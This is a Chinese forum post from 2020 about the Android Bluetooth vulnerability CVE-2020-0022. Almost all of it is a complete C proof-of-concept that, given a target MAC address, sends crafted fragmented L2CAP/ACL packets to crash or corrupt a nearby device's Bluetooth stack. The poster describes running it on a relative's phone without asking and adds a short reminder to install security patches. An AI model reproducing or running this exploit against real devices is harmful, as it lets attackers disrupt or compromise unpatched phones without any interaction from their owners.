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迟来的安卓蓝牙非交互漏洞(CVE-2020-0022)

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    [LV.9]以坛为家II

    发表于 2020-2-19 19:37:19 | 显示全部楼层 |阅读模式
            前段时间关于安卓蓝牙设备的漏洞相信大家也都看了,我也是在前段时间看到了POC,并尝试去复现;但是奈何我的两个测试机都是安卓10,最后半夜等小表弟睡着偷偷拿他的安卓8系统测试了一下。
            哈,有一点需要注意,需要多试几次,因为可能会导致蓝牙崩溃重启。
            另外建议大家第一时间关注手机厂商的安全补丁,建议第一时间更新至最新版。
           
    POC如下:

    /*
    * gcc -lbluetooth poc.c -o poc
    * sudo ./poc MAC_ADDR
    */


    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <sys/socket.h>
    #include <sys/select.h>
    #include <bluetooth/bluetooth.h>
    #include <bluetooth/l2cap.h>
    #include <bluetooth/hci.h>
    #include <bluetooth/hci_lib.h>
    #include <errno.h>
    #include <unistd.h>
    #include <sys/uio.h>


    int hci_send_acl_data(int hci_socket, uint16_t hci_handle, uint8_t *data, uint16_t data_length,uint16_t, uint16_t);

    int main(int argc,char **argv) {
        bdaddr_t dst_addr;
        if (argc != 2){
                printf("usage: ./poc MAC_ADDR");
            exit(1);
        }
        str2ba(argv[1], &dst_addr);
        struct hci_dev_info di;

        // Get HCI Socket
        printf("\nCreating HCI socket...\n");
        int hci_device_id = hci_get_route(NULL);
        int hci_socket = hci_open_dev(hci_device_id);
        if(hci_devinfo(hci_device_id,&di)< 0){
                perror("devinfo");
            exit(1);
        }
        uint16_t hci_handle;
        // -------- L2CAP Socket --------
        // local addr
        struct l2cap_conninfo l2_conninfo;
        int l2_sock;
        struct sockaddr_l2 laddr, raddr;
        laddr.l2_family = AF_BLUETOOTH;
        laddr.l2_bdaddr = di.bdaddr;
        laddr.l2_psm = htobs(0x1001);
        laddr.l2_cid = htobs(0x0040);

        // remote addr
        memset(&raddr, 0, sizeof(raddr));
        raddr.l2_family = AF_BLUETOOTH;
        raddr.l2_bdaddr = dst_addr;

        // create socket
        printf("\nCreating l2cap socket...\n");
        if ((l2_sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0){
                perror("create l2cap socket");
            exit(1);
        }
        // bind and connect
        bind(l2_sock, (struct sockaddr *)&laddr, sizeof(laddr));
        if(connect(l2_sock, (struct sockaddr *)&raddr, sizeof(raddr))<0){
                perror("connect");
            exit(1);
        }
        socklen_t l2_conninfolen = sizeof(l2_conninfo);
        getsockopt(l2_sock, SOL_L2CAP, L2CAP_CONNINFO, &l2_conninfo, &l2_conninfolen);
        hci_handle = l2_conninfo.hci_handle;
        printf("fuck%d", hci_handle);

        // -------- L2CAP Socket --------

        // HCI Connect
        printf("\nCreating a HCI BLE connection...\n");
        printf("\nPrepare to send packet\n");
        uint16_t datalen = 33;
        uint16_t _bs_l2cap_len = htobs(datalen);
        uint16_t _bs_cid = htobs(0x0001);
        uint8_t packet[4 + datalen + 0x1000];
        memcpy(&packet[0],&_bs_l2cap_len,2);
        memcpy(&packet[2],&_bs_cid,2);
        memset(&packet[4], 0x99, datalen+0x1000);
        int fl = 36;
        int i =0 ;
        hci_send_acl_data(hci_socket, hci_handle, &packet , fl,0x2, fl );
        i+=fl;
        printf("\nSent fisrt packet\n");
        hci_send_acl_data(hci_socket, hci_handle, &packet , 300,0x1, 300);

        printf("\nClosing HCI socket...\n");
        close(hci_socket);
        printf("\nClosing l2cap socket...\n");
        close(l2_sock);
        return 0;
    }

    int hci_send_acl_data(int hci_socket, uint16_t hci_handle, uint8_t *data, uint16_t data_length, uint16_t PBflag, uint16_t dlen){
        uint8_t type = HCI_ACLDATA_PKT;
        uint16_t BCflag = 0x0000;               // Broadcast flag
        //uint16_t PBflag = 0x0002;               // Packet Boundary flag
        uint16_t flags = ((BCflag << 2) | PBflag) & 0x000F;      
        hci_acl_hdr hd;
        hd.handle = htobs(acl_handle_pack(hci_handle, flags));  
        //hd.dlen = (data_length);
        hd.dlen = dlen;
        struct iovec iv[3];
        int ivn = 3;

        iv[0].iov_base = &type;                 // Type of operation
        iv[0].iov_len = 1;                      // Size of ACL operation flag
        iv[1].iov_base = &hd;                   // Handle info + flags
        iv[1].iov_len = HCI_ACL_HDR_SIZE;       // L2CAP header length + data length
        iv[2].iov_base = data;                  // L2CAP header + data
        iv[2].iov_len = (data_length);          // L2CAP header length + data length

        while (writev(hci_socket, iv, ivn) < 0) {
            if (errno == EAGAIN || errno == EINTR)
                continue;
            perror("writev");
            return -1;
        }
        return 0;
    }


            另:疫情期间,大家该上网课的上网课;该远程工作的远程工作;实在无聊就看会书;出门戴口罩,别乱跑哈
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